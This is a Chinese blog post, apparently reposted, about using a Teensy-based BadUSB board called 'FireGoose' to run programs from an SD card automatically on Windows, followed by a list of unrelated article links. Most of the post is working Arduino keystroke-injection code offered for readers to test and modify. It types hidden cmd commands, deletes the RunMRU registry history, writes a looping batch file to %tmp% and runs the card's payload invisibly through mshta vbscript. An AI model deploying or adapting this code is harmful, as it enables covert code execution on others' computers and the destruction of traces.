博客
关于我
强烈建议你试试无所不能的chatGPT,快点击我
中国烧鹅系列:利用烧鹅自动执行SD卡上的自定义程序(含视频)
阅读量:5102 次
发布时间:2019-06-13

本文共 2180 字,大约阅读时间需要 7 分钟。

烧鹅是RadioWar基于Teensy++ 2.0 AT90USB1286芯片设计的USB Rubber Ducky类开发板,外观看起来很像USB Rubber Ducky(大黄鸭),但并非Hak5所销售版本。 

所以没有使用USB Rubber Ducky的固件功能,不可以直接使用USB Rubber Ducky的脚本,可以直接使用Arduino IDE来编写自定义代码、也可以使用S.E.T、Kautilya套件生成代码使用。

自带SD卡槽,可外接SD作为扩展,支持BadUSB代码。

FreeBuf报道:,

上期介绍了利用烧鹅自动获得反弹SHELL,总是觉得不太完美,脑洞之后,我们还可以这么玩:利用烧鹅自动执行SD卡上的自定义程序,可以在很短的时间(5秒左右)完成Attack。

原理

烧鹅模拟USB键盘,自动输入Win+R ,为了尽可能的隐藏,开启一个很小的CMD窗口,然后在%tmp%目录写个批处理,后台隐藏执行,每隔5秒监控U盘或者SD卡的指定程序是否存在。若存在就隐藏执行,若不存在就继续循环监控,直到找到指定的可执行文件。

这样就达到了自动执行SD卡上的自定义程序,效果就是,插入U盘之后,指定的程序就自动执行了!

   

以下是demo 代码,各位可以自行测试,自由修改!

 void setup() { delay(5000); Keyboard.set_modifier(MODIFIERKEY_RIGHT_GUI); Keyboard.set_key1(KEY_R); Keyboard.send_now(); delay(100); Keyboard.print("cmd /T:01 /K mode CON: COLS=16 LINES=1"); //开启很小的cmd窗口 Keyboard.set_key1(KEY_ENTER); Keyboard.send_now(); delay(200); Keyboard.println("reg delete HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\RunMRU /f"); //清理运行记录 Keyboard.set_key1(KEY_ENTER); Keyboard.send_now(); Keyboard.println("del /f /q %tmp%\\w.bat 2>nul"); //先删除可能存在的批处理 Keyboard.set_key1(KEY_ENTER); Keyboard.send_now(); Keyboard.println("copy con %tmp%\\w.bat"); //写入新的批处理文件 Keyboard.send_now(); Keyboard.println("@echo off"); Keyboard.println(":lp"); Keyboard.println("ping 127.1 -n 5 >nul"); Keyboard.println("for /F %%A in ('wmic volume get driveletter^,label ^| find \"FireGoose\"') do (set Fire=%%A)"); //利用wim查询指定U盘是否插入电脑 Keyboard.println("IF EXIST \"%Fire%\\files\\Fire_shell.bat\" (copy /y \"%Fire%\\files\\Fire_shell.bat\" %tmp%\\");//若存在指定文件,就复制到%tmp% Keyboard.println("mshta vbscript:createobject^(\"wscript.shell\"^).run^(\"%tmp%\\Fire_shell.bat\",0^)^(window.close^)) ELSE (goto :lp )");//利用VBS隐藏执行bat Keyboard.set_modifier(MODIFIERKEY_CTRL); //保存以上写入的批处理 Keyboard.set_key1(KEY_Z); Keyboard.send_now(); Keyboard.set_modifier(0); Keyboard.set_key1(0); Keyboard.send_now(); Keyboard.set_key1(KEY_ENTER); Keyboard.send_now(); delay(200); Keyboard.println("mshta vbscript:createobject(\"wscript.shell\").run(\"%tmp%\\w.bat\",0)(window.close) && exit"); //VBS隐藏执行w.bat并退出 Keyboard.set_key1(KEY_ENTER); Keyboard.send_now(); Keyboard.set_modifier(0);

转载于:https://www.cnblogs.com/small-gray/p/5392051.html

你可能感兴趣的文章
Codeforces Round #426 (Div. 2) C. The Meaningless Game
查看>>
51nod 1428 活动安排问题 (贪心+优先队列)
查看>>
leetcode - Next Permutation
查看>>
C#创建Windows服务程序
查看>>
Spring Boot 2.0系列文章(五):Spring Boot 2.0 项目源码结构预览
查看>>
中国烧鹅系列:利用烧鹅自动执行SD卡上的自定义程序(含视频)
查看>>
Solaris11修改主机名
查看>>
latex for wordpress(一)
查看>>
如何在maven工程中加载oracle驱动
查看>>
Flask 系列之 SQLAlchemy
查看>>
iframe跨域与session失效问题
查看>>
aboutMe
查看>>
【Debug】IAR在线调试时报错,Warning: Stack pointer is setup to incorrect alignmentStack,芯片使用STM32F103ZET6...
查看>>
一句话说清分布式锁,进程锁,线程锁
查看>>
Hash和Bloom Filter
查看>>
SQL Server获取月度列表
查看>>
python常用函数
查看>>
python 描点画圆
查看>>
FastDFS使用
查看>>
服务器解析请求的基本原理
查看>>